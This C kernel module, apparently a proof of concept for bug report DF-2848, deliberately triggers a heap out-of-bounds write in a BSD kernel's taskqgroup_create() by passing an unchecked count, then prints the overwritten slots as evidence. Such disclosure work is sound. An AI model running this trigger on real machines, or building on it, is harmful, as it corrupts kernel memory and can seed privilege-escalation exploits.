DF-2848 / gtq_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* * DF-2848 PoC — taskqgroup_create() unvalidated `cnt` writes * struct taskqgroup_cpu slots past the fixed tqg_queue[MAXCPU] array, * i.e. past the end of the kmalloc'd `struct taskqgroup`. * * struct taskqgroup (sys/kern/subr_gtaskqueue.c:573-578) is: * struct taskqgroup_cpu tqg_queue[MAXCPU]; <- first member, offset 0 * struct lock tqg_lock; const char *tqg_name; int tqg_cnt; * * taskqgroup_create() kmallocs sizeof(struct taskqgroup) (the array is the * bulk of the object) and then, for every i < cnt, calls * taskqgroup_cpu_create(qgroup, i, cpu) which does: * LIST_INIT(&qcpu->tgc_tasks); (8-byte NULL store) * qcpu->tgc_taskq = gtaskqueue_create_fast(...) (8-byte heap ptr store) * qcpu->tgc_cpu = cpu; (4-byte store) * with qcpu = &qgroup->tqg_queue[i] and NO bound check on i vs MAXCPU. * * This module calls taskqgroup_create("gtq_oob", MAXCPU + 16, 1) and reads * the slots back. The allocation is M_ZERO; any slot at an index whose * byte offset is provably >= sizeof(struct taskqgroup) (array + tail, * tail upper-bounded below) that contains a non-NULL tgc_taskq / non-zero * tgc_cpu was written *beyond the heap object* by the kernel. * * The readback uses a layout replica (valid on x86_64: each * struct taskqgroup_cpu is 24 bytes: LIST_HEAD ptr, gtaskqueue ptr, * int, int) because `struct taskqgroup` is opaque outside * subr_gtaskqueue.c. Only the leading array is probed, which is at * offset 0 of the real object, so replica offsets are exact. * * Build: see build.sh Run: see run.sh (kldload as root on the guest) */ #include <sys/param.h> #include <sys/conf.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/lock.h> #include <sys/gtaskqueue.h> /* layout replica of the leading tqg_queue[MAXCPU] array */ struct tqg_slot { void *tgc_tasks_first; /* LIST_HEAD(, grouptask) */ void *tgc_taskq; int tgc_cpu; int pad; }; struct tqg_probe { struct tqg_slot q[MAXCPU]; }; static struct taskqgroup *qg; static int gtq_oob_ev(module_t mod, int type, void *data) { struct tqg_probe *p; size_t alloc_upper; /* upper bound of sizeof(struct taskqgroup) */ int i, cnt = MAXCPU + 16; switch (type) { case MOD_LOAD: kprintf("gtq_oob: MAXCPU=%d slot_size=%zu array_bytes=%zu\n", MAXCPU, sizeof(struct tqg_slot), sizeof(struct tqg_probe)); /* * Upper bound on the object: array + lock + name ptr + cnt * + alignment slop. Slots starting at/after this offset are * provably outside the kmalloc'd object. */ alloc_upper = sizeof(struct tqg_probe) + sizeof(struct lock) + sizeof(void *) + sizeof(int) + 64 /* alignment slop */; kprintf("gtq_oob: sizeof(struct taskqgroup) <= %zu bytes " "(kmalloc size)\n", alloc_upper); kprintf("gtq_oob: calling taskqgroup_create(cnt=%d)...\n", cnt); qg = taskqgroup_create("gtq_oob", cnt, 1); if (qg == NULL) { kprintf("gtq_oob: taskqgroup_create returned NULL\n"); return (ENOMEM); } p = (struct tqg_probe *)qg; kprintf("gtq_oob: create returned %p; probing OOB slots...\n", qg); for (i = MAXCPU; i < cnt; i++) { size_t off = (size_t)((char *)&p->q[i] - (char *)p); kprintf("gtq_oob: slot[%d] off=%zu%s tgc_taskq=%p " "tgc_cpu=%d list_first=%p\n", i, off, (off >= alloc_upper) ? " [PAST ALLOC]" : "", p->q[i].tgc_taskq, p->q[i].tgc_cpu, p->q[i].tgc_tasks_first); } kprintf("gtq_oob: any [PAST ALLOC] slot with non-NULL " "tgc_taskq or non-zero tgc_cpu is a heap OOB WRITE proof\n"); return (0); case MOD_UNLOAD: /* taskqgroup_destroy() is an empty stub: everything leaks. */ return (0); default: break; } return (EOPNOTSUPP); } DEV_MODULE(gtq_oob, gtq_oob_ev, NULL); |